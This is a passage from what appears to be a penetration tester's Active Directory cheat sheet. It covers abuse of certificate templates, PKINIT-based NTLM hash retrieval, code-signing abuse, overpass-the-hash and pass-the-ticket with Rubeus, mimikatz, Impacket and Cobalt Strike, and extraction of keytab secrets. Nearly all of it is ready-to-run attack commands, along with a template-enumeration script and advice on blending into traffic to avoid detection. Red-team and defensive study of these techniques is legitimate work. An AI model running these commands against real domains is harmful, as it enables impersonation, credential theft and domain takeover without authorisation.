Certify.exe find [/ca:<HOSTNAME>\<CA_NAME> | /domain:<DOMAIN> | /path:CN=Configuration,<DOMAIN_ROOT_OBJECT>] /vulnerable

# The Get-CATemplate cmdlet is part of the ADCSAdministration module.
Get-CATemplate

# PowerShell script with no external dependencies that enumerate vulnerable certificate template.
Invoke-Leghorn -Domain <DOMAIN>

# certipy can be used to enumerate the certificate templates (and eventually only return the exploitable templates).
certipy [-dc-ip <DC_IP>] '<DOMAIN>/<USERNAME>:<PASSWORD>@<DC_HOSTNAME | DC_IP>' find [-vulnerable]

certipy [-dc-ip <DC_IP>] -hashes <:NT_HASH> '<DOMAIN>/<USERNAME>@<DC_HOSTNAME | DC_IP>' find [-vulnerable]

export KRB5CCNAME=<TICKET_CCACHE_FILE_PATH>
certipy -no-pass -k '<DOMAIN>/<USERNAME>@<DC_HOSTNAME>' find [-vulnerable]
```

The following PowerShell code enumerates all the `certificate templates` and returns a number of information for each template:

* `Certificate Authorities` publishing the `certificate template`, if any.
* Purposes, highlighting client authentication.
* Principals having direct enrollment rights (`GenericAll`, `Certificate-Enrollment`, or `Certificate-AutoEnrollment`).
* Whether the `Subject Alternative Name` is user-supplied and the certificate request requires an approval.

The published `certificate templates` supporting client authentication, allowing anyone to enroll without approval, and construct the `subjectAltName` from user-supplied data are highlighted as vulnerable.

```bash
Import-Module ActiveDirectory

$DomainRoot = "<DOMAIN_ROOT_OBJECT>"

# To set to custom drive letter (i.e != AD) for execution on non domain-joined machine.
$ADDrive = "AD"

# For execution on non domain-joined machine, sets default parameters for all ActiveDirectory cmdlets.
<#
$DC = '<DC_IP>'
$PSCredential = Get-Credential
$PSDefaultParameterValues = @{"*-AD*:Server"=$DC}
$PSDefaultParameterValues = @{"*-AD*:Credential"=$PSCredential}
New-PSDrive -Name $ADDrive -PSProvider ActiveDirectory -Root "//RootDSE/" -Server $DC -Credential $PSCredential
#>

$ClientAuthOIDRegex = [string]::Join('|', @('2.5.29.37.0', '1.3.6.1.5.5.7.3.2', '1.3.6.1.5.2.3.4', '1.3.6.1.4.1.311.20.2.2'))
$PrivilegedPrincipalsRegex = [string]::Join('|', @('Domain Admins', 'Enterprise Admins', 'Domain Controllers'))
$UnprivilegedPrincipalsRegex = [string]::Join('|', @('Domain Users', 'Everyone', 'Domain Computers', 'Authenticated Users', 'Anonymous', 'Users'))

# Retrieves the Certificate Templates published by Certificate Authorities.
$CACertificateTemplatesTable = @{}
Get-ChildItem "${ADDrive}:\CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,$DomainRoot" | ForEach-Object {
  $CA = Get-ADObject "$_" -Properties name | Select-Object -ExpandProperty name
  $CACertificateTemplates = Get-ADObject "$_" -Properties certificateTemplates | Select-Object -ExpandProperty certificateTemplates
  $CACertificateTemplates | ForEach-Object {
    If ($CACertificateTemplatesTable.ContainsKey($_)) { $CACertificateTemplatesTable[$_] += $CA }
    Else {
      $CACertificateTemplatesTable[$_] = @()
      $CACertificateTemplatesTable[$_] += $CA
    }
  }
}

# Enumerates the Certificate Templates.
Get-ChildItem "${ADDrive}:\CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,$DomainRoot" | ForEach-Object {
  $CT = Get-ADObject "$_" -Properties *
  $vulnerableCT = $True
  Write-Host -ForegroundColor DarkGreen -BackgroundColor White "Certificate template: $CT.name `n";

  Write-Host -ForegroundColor Cyan "Purpose(s):`n"
  $CT."pKIExtendedKeyUsage" | ForEach-Object {
    If ($_ -match $ClientAuthOIDRegex) { Write-Host -ForegroundColor Green $_ }
    Else { Write-Host $_ }
  }
  Write-Host "`n"
  If ($CT."pKIExtendedKeyUsage" -match $ClientAuthOIDRegex) {
    Write-Host -ForegroundColor Green "Certificate template supports client authentication!"
  }
  Else {
    Write-Host -ForegroundColor Red "Certificate template does not support client authentication."
    $vulnerableCT = $False
  }
  Write-Host "`n"

  Write-Host -ForegroundColor Cyan "Published in Certificate Authorities:`n"
  If ($CACertificateTemplatesTable.ContainsKey($CT.name)) {
    $CACertificateTemplatesTable[$CT.name]
    Write-Host "`n"
    Write-Host -ForegroundColor Green "Certificate template is published."
  }
  Else {
    Write-Host -ForegroundColor Red "Certificate template is not published."
    $vulnerableCT = $False
  }
  Write-Host "`n"


  Write-Host -NoNewline -ForegroundColor Cyan "User-supplied subjectAltName: "
  If (($CT."msPKI-Certificate-Name-Flag" -band 0x1) -ne '0') {
    Write-Host -ForegroundColor Green "YES"
  }
  Else {
    Write-Host -ForegroundColor Red "NO"
    $vulnerableCT = $False
  }
  Write-Host "`n"

  Write-Host -NoNewline -ForegroundColor Cyan "Requires certificate manager approval: "
  If (($CT."msPKI-Enrollment-Flag" -band 0x2) -ne '0') {
    Write-Host -ForegroundColor Red "YES"
    $vulnerableCT = $False
  }
  Else {
    Write-Host -ForegroundColor Green "NO"
  }
  Write-Host "`n"

  $anyoneCanEnroll = $False
  Write-Host -ForegroundColor Cyan "Enrollment rights:`n"
  Get-Acl "${ADDrive}:\$_" | Select-Object -ExpandProperty Access |
  Where-Object {(
  $_.ActiveDirectoryRights -match 'GenericAll'`
  -or ($_.ActiveDirectoryRights -match 'ExtendedRight' -and $_.ObjectType -match '00000000-0000-0000-0000-000000000000|0e10c968-78fb-11d2-90d4-00c04f79dc55|a05b8cc2-17bc-4802-a710-e7c15ab866a2')`
  -and $_.AccessControlType -eq "Allow" -and $_.PropagationFlags -ne "InheritOnly")} | ForEach-Object {
    If ($_.IdentityReference -match $UnprivilegedPrincipalsRegex) {
      Write-Host -ForegroundColor Green $_.IdentityReference
      $anyoneCanEnroll = $True
    }
    ElseIf ($_.IdentityReference -match $PrivilegedPrincipalsRegex) {
      Write-Host -ForegroundColor Red $_.IdentityReference
    }
    Else { Write-Host -ForegroundColor Yellow $_.IdentityReference }
    $_
    Write-Host "`n"
  }

  $vulnerableCT = $vulnerableCT -and $anyoneCanEnroll
  If ($vulnerableCT) {
    Write-Host -ForegroundColor White -BackgroundColor Black "Found vulnerable certificate template: " $CT.name "`n`n";
  }
}
```

### Dangerous rights on certificate template or on the Certificate Authority itself

Refer to the `[ActiveDirectory] ACL exploiting` note (section `Active Directory Certificate Services`) for more information, techniques, and tools to enumerate and exploit dangerous rights on `CA` objects or `certificate templates`.

### Certificates request

Certificates for published `certificate templates` can be requested with Windows built-in utilities or specific tools. The certificates obtained (that support client authentication) can be used to request `Ticket Granting Ticket (TGT)` through `PKINIT` authentication. As with any `TGT` obtained through a `PKINIT` preauthentication, the `NTLM` / `NTHash` hash of the user can be retrieved through a subsequent Kerberos `User-to-User (U2U)` special `service tickets (ST)` (see the section below). For more information on how to use and manipulate the `TGT` retrieved, refer to the `[ActiveDirectory] Kerberos - tickets usage` note.

**Certificates format**

Certificates in the `PEM` format with public and private keys (such as certificates obtained using `Certify`) must be converted in the `PFX` format, supported by Windows, to be further usable by some utilities (such as `Rubeus` to request `TGT`).

`openssl` can be used to convert a `PEM` file (with both public and private keys) to a `PFX` certificate file:

```bash
# To convert PEM certificates obtained using Certify, the "Microsoft Enhanced Cryptographic Provider v1.0" CSP should be specified.
openssl pkcs12 -in <IN_PEM_FILE> -keyex [-CSP "Microsoft Enhanced Cryptographic Provider v1.0"] -export -out <OUT_PFX_FILE>
```

**Standard certificates requests**

Certificates can be requested manually using the graphical built-in `certmgr.msc` (for user certificates) and `certlm.msc` (for machine certificates) snap-ins:

```
Certificates - Current User | Certificates - Local Computer
  -> Right click Personal -> All Tasks -> Request New Certificate...
     -> Next
     -> Select the Certificate Enrollment Policy (defaults to Active Directory Enrollment policy) -> Next
     -> Select an available certificate template
     -> if the message "More information is required to enroll this certificate. Click here to configure settings." is displayed, the subjectAltName should
     be specified (refer to "Certificate template with arbitrary subjectAltName" section below).
     -> Enroll
```

`Certify` (on Windows) and `Certipy` can be used to request a certificate:

```bash
# Certify.
# /install: add the newly obtained certificate to the local user / machine store.
# /machine: make the request under the current machine account context.
Certify.exe request [/install] [/machine] /ca:<DOMAIN_FQDN>\<CA> /template:<CERTIFICATE_TEMPLATE>

# Certipy.
# The certificate and key will be DER encoded and saved to <REQUEST_ID>.(crt|key) files on disk (where <REQUEST_ID> is returned by the CA server).
certipy [-dc-ip <DC_IP>] '<DOMAIN>/<USERNAME>:<PASSWORD>@<DC_HOSTNAME | DC_IP>' req -template '<CERTIFICATE_TEMPLATE>' -ca '<CA_NAME>'

certipy [-dc-ip <DC_IP>] -hashes <:NT_HASH> '<DOMAIN>/<USERNAME>@<DC_HOSTNAME | DC_IP>' req -template '<CERTIFICATE_TEMPLATE>' -ca '<CA_NAME>'

export KRB5CCNAME=<TICKET_CCACHE_FILE_PATH>
certipy -no-pass -k '<DOMAIN>/<USERNAME>@<DC_HOSTNAME>' req -template '<CERTIFICATE_TEMPLATE>' -ca '<CA_NAME>'
```

**\[Privilege escalation] Certificate request with arbitrary subjectAltName (CT\_FLAG\_ENROLLEE\_SUPPLIES\_SUBJECT or EDITF\_ATTRIBUTESUBJECTALTNAME2)**

For `certificate templates` allowing an user-supplied `subjectAltName` (`msPKI-Certificate-Name-Flag` attribute's `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` flag set), an arbitrary username or an `User Principal Name (UPN)` can be specified to impersonate any security principal.

The `subjectAltName` can be specified for certificate requests made with the `certmgr.msc` and `certlm.msc` utilities. If a `certificate template` requires an user-supplied `subjectAltName`, a warning will be displayed (`More information is required to enroll for this certificate. Click here to configure settings`) and an `subjectAltName` will be specifiable:

```
Alternative name: -> User principal name -> <USERNAME> / <USERNAME>@<DOMAIN_FQDN>
```

For `CA` allowing user-supplied alternative names for their published `certificate templates` (`EDITF_ATTRIBUTESUBJECTALTNAME2` flag set), the built-in `certreq` utility and the following policy file can be used to request a certificate for an arbitrary user. The certificate is tagged as exportable in the policy, and can thus be simply exported as a `PFX` file containing the private key. Refer to the `[Windows] Post exploitation` note (section `Certificates retrieval`) for more information on how to export certificates.

```
[Version]
Signature="$Windows NT$"

[NewRequest]
Subject = "CN=WHATEVER"  ; The Subject will not be taken into account for authentication.
Exportable = TRUE
KeyLength = 2048
KeySpec = 1
KeyUsage = 0xA0
MachineKeySet = FALSE ; TRUE if the certificate should be deployed in the machine store.
ProviderName = "Microsoft RSA SChannel Cryptographic Provider"
RequestType = PKCS10

[Extensions]
2.5.29.17 = "{text}"
_continue_ = "upn=<USERNAME | UPN>"

[RequestAttributes]
SAN="upn=<USERNAME | UPN>"
CertificateTemplate = <CERTIFICATE_TEMPLATE>
```

Then the `certreq` utility can be used to request a certificate based on the policy and install locally the retrieved certificate:

```bash
# Create a new request (PKCS #10 format) based on the policy.
certreq -new <POLICY_FILE> request.pem

# Submits the certificate request.
certreq -submit request.pem cert.cer

# Links the previously generated private key with the issued certificate and install the certificate in the local system (either user or machine store).
certreq -accept cert.cer
```

Alternatively, both `Certify` and `Certipy` support specifying an arbitrary `subjectAltName` for either vulnerable `certificate template` (`CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`) or vulnerable `CA` (`EDITF_ATTRIBUTESUBJECTALTNAME2`).

```bash
Certify.exe request [/install] [/machine] /ca:<DOMAIN_FQDN>\<CA> /template:<CERTIFICATE_TEMPLATE> /altname:<USERNAME | UPN>

# certipy also supports Kerberos authentication and using a NTLM hash, refer to the "Standard certificates requests" section above.
certipy [-dc-ip <DC_IP>] '<DOMAIN>/<USERNAME>:<PASSWORD>@<DC_HOSTNAME | DC_IP>' req -template '<CERTIFICATE_TEMPLATE>' -ca '<CA_NAME>' -alt <USERNAME | UPN>
```

**\[Privilege escalation] Certificate request through NTLM relaying**

**Certificate template with Certificate Request Agent EKU but not Enrollment agent restrictions CA-side**

### Certificates usage

**Client authentication certificate usage and NTHash / NTLM hash retrieval**

*`Ticket Granting Ticket (TGT)` obtained through a `PKINIT` preauthentication can be leveraged to retrieve the principal's `NTLM` / `NTHash` hash through a special `User-to-User (U2U)`* *`service tickets`.*

`PKINIT` is a `Kerberos` preauthentication mechanism which uses digital certificates to mutually authenticate the `Key Distribution Center (KDC)` and clients for `TGT` requests (in `AS-REQ` and `AS-REP` messages). `PKINIT` requires a valid `X.509` certificate for the `KDC` (Domain Controllers in Active Directory) and one for each client principal that will authenticate using `PKINIT`. In environments with a `PKI` trusted by both parties, such as `Active Directory Certificate Services (ADCS)`, digital certificates generated and signed by the trusted `Certificate Authority (CA)` will be used for the `PKINIT` authentication.

To support subsequent `NTLM` `SSO` authentications for users that authenticated using `PKINIT`, Kerberos `User-to-User (U2U)` special `service tickets (ST)` allow a client to retrieve their `NTLM` hash. `U2U` tickets indeed contain, in their `Privilege Attribute Certificate (PAC)`, the `NTLM` hash of the principal that requested the `U2U ST`. The `NTLM` hash is stored encrypted using the client's `TGT` session key in the `PAC`'s `PAC_CREDENTIAL_INFO` (`NTLM_SUPPLEMENTAL_CREDENTIAL` structure) additional field. Using a valid `TGT`, clients can thus request a `U2U ST` from themselves to themselves in order to obtain their `NTLM` hash.

[`Rubeus`](https://github.com/GhostPack/Rubeus) and `certipy` can be used to conduct a `Kerberos` `PKINIT` preauthentication to retrieve a `Ticket-Granting Ticket (TGT)` using the obtained certificate. `Rubeus` retrieves a `TGT` in the `KRB_CRED` format (and can inject it in the current session) while `Certipy` will export the ticket in the `credential cache (ccache)` format.

Both tools can make a subsequent `U2U` `ST` request using the retrieved `TGT` in order to obtain the `NTLM` hash / `NTHash` of the principal the certificate was issued to.

**For certificates obtained with an arbitrary `subjectAltName`, the username of the user specified in the certificate's `subjectAltName` field should be specified (and not the username of the subject).**

```bash
# The /getcredentials flag instructs Rubeus to perform a subsequent U2U ST request to retrieve the principal's NTHash.
Rubeus.exe asktgt /user:<USERNAME> /certificate:<CERTIFICATE_THUMBPRINT | CERTIFICATE_PFX_FILE | BASE64_CERTIFICATE> [/password:"<CERTIFICATE_PASSWORD>"] [/domain:<DOMAIN_FQDN>] [/dc:<DC>] [/getcredentials /show]

# The certificate and key files obtained through certipy can be used to obtain a TGT (saved in a ccache file on disk) and automatically retrieve the principal's NTHash (see explanation below).
certipy '<DOMAIN>/<USERNAME>@<DC_HOSTNAME | DC_IP>' auth -cert <CERTIFICATE_FILE_CRT> -key <CERTIFICATE_FILE_KEY>
```

**Client authentication certificate usage over LDAPS through Schannel**

If the `KDC` does not support `PKINIT` authentication, as may be the case if its certificate does not have the `Smart Card Logon` enhanced key usage extension, a `KDC_ERR_PADATA_TYPE_NOSUPP` error will arise. In such circumstances, [`PassTheCert`](https://github.com/AlmondOffSec/) can be used to authenticate to `LDAPS` over `TLS` `Schannel`.

`PassTheCert` implements a few privilege escalation / persistence techniques to further access the domain with out relying on the certificate:

* Grating `DS-Replication-Get-Changes` and `DS-Replication-Get-Changes-All` rights to the specified user to conduct `DCSync` replication.
* Adds an SPN to the `msDS-AllowedToActOnBehalfOfOtherIdentity` attribute of the specified target (to take over the targeted computer through a `RBCD` attack).
* Reset the password of the specified account.
* Add an account to the specified group.

```
# Retrieves the username associated with the certificate.
PassTheCert.exe --server <DC_IP | DC_HOSTNAME> --cert-path <CERT_PFX_PATH> [--cert-password <CERT_PASSWORD>] --whoami

PassTheCert.exe --server <DC_IP | DC_HOSTNAME> --cert-path <CERT_PFX_PATH> [--cert-password <CERT_PASSWORD>] [--elevate | --rbcd | --add-computer | --reset-password | --add-account-to-group]
```

**Code signing certificate**

`Code Signing` certificates (`OID 1.3.6.1.5.5.7.3.3`) can be used to sign `PE` binaries or PowerShell scripts.

Digitally signed executables can be exempted from `User Account Control (UAC)` or `Windows SmartScreen` prompt. Additionally, on systems with `AppLocker` enabled, `Windows Installer` files digitally signed by a trusted publisher can be installed by non-privileged users, resulting in a potential local privilege escalation.

```bash
# Lists the certificates with code-signing authority stored in the specified certificate store.
Get-ChildItem -Path Cert:<\CurrentUser\My | CERTIFICATE_STORE> -CodeSigningCert

# Uses a code-signing certificate in the specified store.
$cert = Get-ChildItem -Path Cert:<\CurrentUser\My | CERTIFICATE_STORE> -CodeSigningCert

# Uses the specified PFX certificate file.
$cert = Get-PfxCertificate -FilePath <CERTIFICATE_PFX>

# Signs the given file using the code-signing certificate specified.
Set-AuthenticodeSignature -Certificate $cert [-HashAlgorithm <sha1 | sha256>] [-TimestampServer "<http://timestamp.digicert.com | TIMESTAMP_SERVER_URL>"] -FilePath <FILE_TO_SIGN>
```

***

### References

<https://www.riskinsight-wavestone.com/en/2021/06/microsoft-adcs-abusing-pki-in-active-directory-environment/>

<https://posts.specterops.io/certified-pre-owned-d95910965cd2>

<https://www.specterops.io/assets/resources/Certified\\_Pre-Owned.pdf>

<https://www.sysadmins.lv/blog-en/understanding-active-directory-certificate-services-containers-in-active-directory.aspx>

<https://ldapwiki.com/wiki/ExtendedKeyUsage>

<https://www.sysadmins.lv/blog-en/constraining-extended-key-usages-in-microsoft-windows.aspx>

<https://www.keyfactor.com/blog/hidden-dangers-certificate-subject-alternative-names-sans/>


# Exploitation - Kerberos tickets usage

### Overview

`Kerberos` is an authentication protocol used within Active Directory that rely on the use of tickets to identify users and grant access to domain resources. To do so, `Kerberos` implements two type of tickets, issued by two distinct services of the `Key Distribution Center (KDC)`:

* `Ticket-Granting Ticket (TGT)`, obtained from the `Authentication Service (AS)`.
* `service tickets`, obtained from the `Ticket-Granting Service (TGS)`.

A valid `TGT` is necessary in order to request `service tickets`, which in turn grant access to service accounts (user or machine domain accounts that have a `ServicePrincipalName (SPN)`).

`Overpass-the-hash` / `Pass the Key (PTK)` are the actions of using, respectively, the `NTLM` hash or the `Kerberos` secrets (`RC4` key, corresponding to the `NTLM hash`, or the `AES 128/256 bits` keys) of an user to request a `Kerberos` `TGT`.

`Pass-the-ticket (PtT)` is the action of directly using `Kerberos` tickets (`TGTs` or `service tickets`) with out a request to the `KDC`. On Windows systems, the tickets can be directly injected in the current logon session while on Linux systems `Kerberos` tickets file can be provided to utilities supporting the `Kerberos` authentication.

### Overpass-the-hash / Pass the Key (PTK)

**Plaintext password to RC4 / AES keys**

Knowledge of an account `Kerberos` keys allows to control which ticket encryption type will be used by the `KDC` when overpassing-the-hash / passing the key. As `AES` is generally used by the `KDC` for legitimate `Kerberos` authentication (since `Windows Server 2008`), using the `AES` keys may help blending in normal authentication traffic.

The tickets encryption type are logged in the `Ticket Encryption Type` field of the Windows `Security` events `4768: A Kerberos authentication ticket (TGT) was requested` and `4769: A Kerberos service ticket was requested`.

Note that the Kerberos `RC4` key corresponds to the `NTLM` hash of an account.

The `Ticket Encryption Type` field may take the following values:

| Value  | Encryption type           | Note                                                                    |
| ------ | ------------------------- | ----------------------------------------------------------------------- |
| `0x1`  | `DES-CBC-CRC`             | Disable by default since `Windows Server 2008 R2` / `Windows 7`.        |
| `0x3`  | `DES-CBC-MD5`             | Disable by default since `Windows Server 2008 R2` / `Windows 7`.        |
| `0x11` | `AES128-CTS-HMAC-SHA1-96` | Introduced in `Windows Server 2008` / `Windows Vista`.                  |
| `0x12` | `AES256-CTS-HMAC-SHA1-96` | Introduced in `Windows Server 2008` / `Windows Vista`.                  |
| `0x17` | `RC4-HMAC`                | Default encryption type before `Windows Server 2008` / `Windows Vista`. |
| `0x18` | `RC4-HMAC-EXP`            | Default encryption type before `Windows Server 2008` / `Windows Vista`. |

The `DSInternals` PowerShell `ConvertTo-NTHash` and `ConvertTo-KerberosKey` cmdlets can be used to convert a plaintext password to, respectively, `RC4` and `AES128` / `AES256` keys.

```bash
$CleartextPassword = ConvertTo-SecureString -String '<PASSWORD>' -AsPlainText -Force

# Returns the NTLM hash / RC4 key from a given password.
ConvertTo-NTHash -Password $CleartextPassword

# Returns the Kerberos keys (AES256, AES128, DES) and from a given password.
# The Kerberos keys are derived from a salt based on the Kerberos realm and account name.
# For user account: <SALT> = uppercase Kerberos realm + case sensitive SamAccountName. Example: LAB.ADAdministrator.
# For machine account: <SALT> =  Kerberos realm + host keyword + lowercase SamAccountName with out $ + lowercase Kerberos realm. Example: LAB.ADhostdc1.lab.ad
ConvertTo-KerberosKey -Password $CleartextPassword -Salt '<SALT>'
```

Additionally, `Rubeus`'s `asktgt` module supports `TGT` requests using a password, and the encryption type can then be specified using the `/enctype` option.

**TGT Kerberos tickets requests**

*Knowing any user's Kerberos secret.*

The `Rubeus`'s `asktgt` module or the `Impacket`'s `getTGT.py` Python script can be used to request `TGTs` using an user's password, `NTLM` hash (equivalent to the `Kerberos` `RC4` key), or `Kerberos` secrets.

If `RC4_HMAC-MD5` is disabled at a domain level, requesting `Kerberos` `TGT` will require either the account password or its `AES128` or `AES256` key. Trying to request a `TGT` using `RC4` key in such environment will result in a `KDC_ERR_ETYPE_NOTSUPP` error.

```bash
# ptt: Directly injects the received TGT in the current logon session. The current logon session TGT will be overwritten.
# In any case, the received TGT, encoded in base64, will be printed (KRB-CRED format).
Rubeus.exe asktgt /user:<USERNAME> /password:<PASSWORD> [/enctype:<rc4 | aes128 | aes256>] /ptt
Rubeus.exe asktgt /user:<USERNAME> [/rc4:<NTLM_HASH> | /aes128:<AES_128BITS_KEY> | /aes256:<AES_256BITS_KEY>] /ptt
Rubeus.exe asktgt /dc:<DC_IP | DC_HOSTNAME> /domain:<DOMAIN> /user:<USERNAME> [/password:<PASSWORD> | /rc4:<NTLM_HASH> | /aes128:<AES_128BITS_KEY> | /aes256:<AES_256BITS_KEY>] /ptt

# The received TGT will be exported to a file in the credential cache format.
python getTGT.py [-dc-ip <DC_IP>] <DOMAIN>/<USERNAME>:[<PASSWORD>]
python getTGT.py [-dc-ip <DC_IP>] -hashes ":<NTLM>" <DOMAIN>/<USERNAME>
# Recommended if possible in a covert scenario, as the AES keys are used by default by Microsoft.
python getTGT.py [-dc-ip <DC_IP>] -aesKey <AES_128BITS_KEY | AES_256BITS_KEY> <DOMAIN>/<USERNAME>
```

*Using the current user's security context.*

A `TGT` can be retrieved for the current user using its security context with out the need of knowing the user's credentials.

This is possible due to the way `Kerberos` `unconstrained delegations` are implemented: the user must provide a `TGT` to the principal trusted for the `unconstrained delegation` (such as the Domain Controller machine accounts). As the current user's `TGT` cannot be forwarded directly (as it may be linked to the current user IP address), a request for a `forwardable` (`forwarded` attribute set) `TGT` is requested by the client. This result in the retrieval client-side of an `AP-REQ` message containing a `KRB_CRED` struct with the `TGT` (encrypted with the key sent by the `KDC` for the session).

The `Rubeus`'s `tgtdeleg` or `Kekeo`'s `tgt::deleg` modules can be used to conduct this technique and retrieve a `TGT` for the current user:

```bash
# If an SPN trusted for unconstrained delegation cannot be automatically found by Rubeus, it can be specified using the /target:<SPN> option.
Rubeus.exe tgtdeleg

kekeo # tgt::deleg
```

*Automated ticket extraction from Rubeus output.*

If needed, the retrieved `Kerberos` tickets can be automatically extracted from `Rubeus` output (for example from the `tgtdeleg` module) using the PowerShell script below:

```bash
$tgtdeleg_res = Invoke-Rubeus -Command "tgtdeleg"
$tmp = $tgtdeleg_res -replace "`t|`n|`r",""
$tmp -match "ticket.kirbi\):(?<content>.*)"

$TGT = $matches['content'] -replace '\s',''
```

### Pass-the-ticket (PtT)

**\[Windows / Linux] Direct requests of service tickets**

On Windows, the `Rubeus`'s `asktgs` module can be used to request `service tickets` using a valid `TGT`:

```bash
# ptt: Directly injects the received service ticket in the current logon session.

Rubeus.exe asktgs /ticket:<TGT_BASE64 | TGT_KIRBI_FILE_PATH> /service:<TARGET_SERVICE_SPN | TARGET_SERVICES_SPN> /ptt
```

**\[Windows] Injection into the current session**

`Kerberos` tickets, in the credential format `KRB_CRED` (`KIRBI` file), can be injected into the current logon session using `mimikatz` or `Rubeus`.

Both utilities leverage the Windows `LsaCallAuthenticationPackage/KerbSubmitTicketMessage` API and will overwrite the current logon session tickets.

```bash
# If necessary, decodes a ticket in base64 (from Rubeus for example) to the KRB_CRED format.
cat <TICKET_BASE64_FILE_PATH> | tr -d "[:space:]" | base64 --decode > <TICKET_KIRBI_FILE_PATH>

# Injects into memory a ticket in the KRB_CRED format.
Rubeus.exe ptt /ticket:<TICKET_BASE64 | TICKET_BASE64_FILE_PATH | TICKET_KIRBI_FILE_PATH>
mimikatz.exe "kerberos::ptt <TICKET_KIRBI_FILE_PATH>" exit
```

`Cobalt Strike` 's `make_token` and `kerberos_ticket_use` `beacon` commands may be used to inject tickets with out overwriting the ones cached in the current logon session:

```
# Requires elevated privileges.
beacon> make_token <DOMAIN>\<USERNAME> "PasswordNotRequired"
beacon> kerberos_ticket_use <C2_TICKET_KIRBI_FILE_PATH>

# Does not requires a elevated privileges. Create a new beacon in a sacrificial process to protect the current beacon logon session tickets.
# The use of the make_token command is still necessary as both beacon share the same logon session.
original_beacon> make_token <DOMAIN>\<USERNAME> "PasswordNotRequired"
original_beacon> run <C:\Windows\System32\cmd.exe | BINARY_PATH>
original_beacon> ps
original_beacon> inject <NEW_PROCESS_PID> <x86 | x64> <LISTENER>
new_beacon> kerberos_ticket_use <C2_TICKET_KIRBI_FILE_PATH>

# Reverts the logon session created using the make_token command, so the original logon session's tickets are restored.
beacon | original_beacon> rev2self
```

The `Kerberos` tickets cached in the current logon session can be listed using the Windows built-in `klist` utility, `Rubeus`'s `klist` module, or `mimikatz`'s `kerberos::list` command:

```bash
klist

Rubeus.exe klist

mimikatz.exe "kerberos::list" exit
mimikatz.exe "kerberos::list /export" exit
```

**\[Linux] Credential cache (ccache)**

`Kerberos` tickets can be converted from the `KRB_CRED` format to the `credential cache (ccache)` format to be used with, among others, the `Impacket`'s Python utilities. If a `TGT` is provided, the `Impacket`'s utilities will try to obtain the necessary service tickets through request to the `KDC`.

Note that `impackets` utilities can only make use of a single `Kerberos tickets` at a time, which limits the possible usage of the utilities with `service tickets`.

Refer to the `[Windows] Lateral movements` for more information on how to leverage the `Impacket` suite for lateral movements in a Windows environment.

```bash
# If necessary, decodes a ticket in base64 (from Rubeus for example) to the KRB_CRED format.
cat <TICKET_BASE64_FILE_PATH> | tr -d "[:space:]" | base64 --decode > <TICKET_KIRBI_FILE_PATH>

# If necessary, converts the TGT from KRB_CRED to ccache.
ticketConverter.py  <TICKET_KIRBI_FILE_PATH> <TICKET_CCACHE_FILE_PATH>

# Loads the ticket from the specified file.
export KRB5CCNAME=<TICKET_CCACHE_FILE_PATH>

# Loads all the tickets in the specified directory. The tickets filename must follow the filename tkt*.
# Unfortunately loading Kerberos tickets from a directory is not a wildy supported feature.
export KRB5CCNAME=DIR:<TICKETS_CCACHE_DIR_PATH>

# Usage of the TGT through Impacket's utilities.
psexec.py -k -no-pass -dc-ip <DC_IP> <HOSTNAME> [<COMMAND> <COMMAND_ARGS>]
smbexec.py [-service-name <SERVICE_NAME>] -k -no-pass -dc-ip <DC_IP> <HOSTNAME> [<COMMAND> <COMMAND_ARGS>]
wmiexec.py [-service-name <SERVICE_NAME>] -k -no-pass -dc-ip <DC_IP> <HOSTNAME> [<COMMAND> <COMMAND_ARGS>]
[...]
```

The `klist` utility form the `krb5-user` (`Debian` based distro) or `krb5` package may be used to list the current tickets:

```bash
klist -A
```

**\[Linux / Windows] Keytab**

`Keytab` are files that contain one or multiple `key entries`. Each entry is composed of a principal (`Kerberos` realm and account name) and an associated `Kerberos` secret (`RC4` or `AES 128 / 256 bits` keys), stored encrypted. `Keytab` files can be used to request `Kerberos` tickets without the need of reentering a password, and are thus particularly useful for service accounts interacting with a directory service from non-Windows systems. `Keytab` files can be retrieved, for example, from Linux systems with service accounts using the Kerberos protocol.

The [`keytabextract.py`](https://github.com/sosdave/KeyTabExtract) Python script can be used to extract and decrypt the `Kerberos` secrets, `RC4` (corresponding to the `NTLM` hash) or `AES` keys, from a given `keytab` file:

```
python3 keytabextract.py <KEY_TAB>
```

Additionally, the `kinit`, `ktutil` and `klist` utilities form the `krb5-user` (`Debian` based distro) or `krb5` package may be used to interact with `keytab` files. Note that a `keytab` file is fully independent of the computer it's been created on, its filename, and its location in the file system.

```bash
# Lists the key entries' principal contained in the specified keytab file.
klist -k <KEY_TAB>

# Requests a Kerberos ticket using the specified keytab file.
# The retrieved ticket will be placed in cache and stored on the local file system in the ccache format (path can be retrieved using klist).
# The KDC (of the realm from the keytab) must be reachable from the system on which the command is executed.
# The <PRINCIPAL> format example: '<ACCOUNT_NAME>@<FULLY_QUALIFIED_DOMAIN>'.
kinit -k -t <KEY_TAB> '<PRINCIPAL>'
```

***

### References

<https://www.sstic.org/media/SSTIC2014/SSTIC-actes/secrets\\_dauthentification\\_pisode\\_ii\\_\\_kerberos\\_cont/SSTIC2014-Article-secrets\\_dauthentification\\_pisode\\_ii\\_\\_kerberos\\_contre-attaque-bordes\\_2.pdf> <https://www.ssi.gouv.fr/uploads/IMG/pdf/Aurelien\\_Bordes\\_-_Secrets\\_d\\_authentification\\_episode\\_II\\_Kerberos\\_contre-attaque_--\\_planches.pdf> <https://remivernier.com/index.php/2018/07/07/kerberos-exploration/> <https://docs.microsoft.com/en-us/archive/blogs/openspecification/understanding-microsoft-kerberos-pac-validation> <https://www.blackhat.com/docs/us-14/materials/us-14-Duckwall-Abusing-Microsoft-Kerberos-Sorry-You-Guys-Don't-Get-It.pdf> <https://cyberwardog.blogspot.com/2017/04/chronicles-of-threat-hunter-hunting-for.html> <https://gist.github.com/HarmJ0y/dc379107cfb4aa7ef5c3ecbac0133a02> <https://gist.github.com/TarlogicSecurity/2f221924fef8c14a1d8e29f3cb5c5c4a> <https://github.com/GhostPack/Rubeus> <https://github.com/MichaelGrafnetter/DSInternals/blob/master/Documentation/PowerShell/ConvertTo-KerberosKey.md> <https://github.com/MichaelGrafnetter/DSInternals/blob/master/Documentation/PowerShell/ConvertTo-NTHash.md>


# Exploitation - Kerberos silver tickets

### Overview

`Service tickets` are generated by the `Ticket-Granting Service (TGS)` of the `Key Distribution Center (KDC)` and used by clients to access domain resources exposed through service accounts, i.e user accounts that have a `ServicePrincipalName (SPN)` configured.

